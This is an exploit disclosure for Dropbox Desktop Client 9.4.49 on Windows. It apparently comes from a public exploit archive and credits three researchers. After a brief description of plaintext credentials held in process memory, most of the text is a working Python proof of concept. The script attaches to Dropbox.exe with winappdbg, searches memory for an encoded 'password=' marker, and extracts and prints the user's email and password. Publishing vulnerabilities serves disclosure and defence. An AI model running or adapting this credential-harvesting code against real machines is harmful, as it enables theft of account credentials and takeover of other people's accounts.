Dropbox Desktop Client 9.4.49 (x64) – Local Credentials Disclosure
##### # Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure # Tested on Windows Windows Server 2012 R2 64bit, English # Vendor Homepage @ https://www.dropbox.com # Date 06/09/2016 # Bug Discovery by: # # Yakir Wizman (https://www.linkedin.com/in/yakirwizman) # http://www.black-rose.ml # # Viktor Minin (https://www.linkedin.com/in/MininViktor) # https://1-33-7.com/ # # Alexander Korznikov (https://www.linkedin.com/in/nopernik) # http://korznikov.com/ # ##### # Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process. # A potential attacker could reveal the supplied username and password in order to gain access to account. ##### # Proof-Of-Concept Code: import time import urllib from winappdbg import Debug, Process username = '' password = '' found = 0 filename = "Dropbox.exe" process_pid = 0 memory_dump = [] debug = Debug() try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process with pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'): memory_dump.append(process.read(address,100)) for i in range(len(memory_dump)): email_addr = memory_dump[i].split('email=')[1] tmp_passwd = memory_dump[i].split('password=')[1] username = email_addr.split('\x00')[0] password = tmp_passwd.split('&is_sso_link=')[0] if username != '' and password !='': found = 1 print "[+] Credentials found!\r\n----------------------------------------" print "[+] Username: %s" % urllib.unquote_plus(username) print "[+] Password: %s" % password if found == 0: print "[-] Credentials not found! Make sure the client is connected." else: print "[-] No process found with name '%s'." % (filename) debug.loop() finally: debug.stop() |